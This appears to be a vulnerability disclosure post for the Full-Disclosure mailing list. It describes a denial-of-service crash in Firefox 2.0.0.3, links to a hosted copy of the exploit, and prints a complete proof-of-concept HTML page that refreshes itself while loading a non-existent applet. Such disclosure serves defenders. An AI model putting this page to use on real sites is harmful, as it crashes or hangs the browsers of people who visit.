[Full-disclosure] Firefox 2.0.0.3 non-existent applet DoS flaw



Firefox 2.0.0.3 is unable to handle a multiple request of non-existent
applet so, after some page refresh, crashes or stops to answer.
You can try this exploit here www.shinnai.altervista.org/nea.html but,
if so, you need a little patience 'cause it's too slow than from local
exploitation.

<html>
<head>
<meta http-equiv='Refresh' content='0;url=nea.html'>
<applet name='$$$$$$$$$$$$' code='$$$$$$$$$$$$'
archive='$$$$$$$$$$$$' width='160' height='160'>
</applet>
</meta>
</head>
</html>

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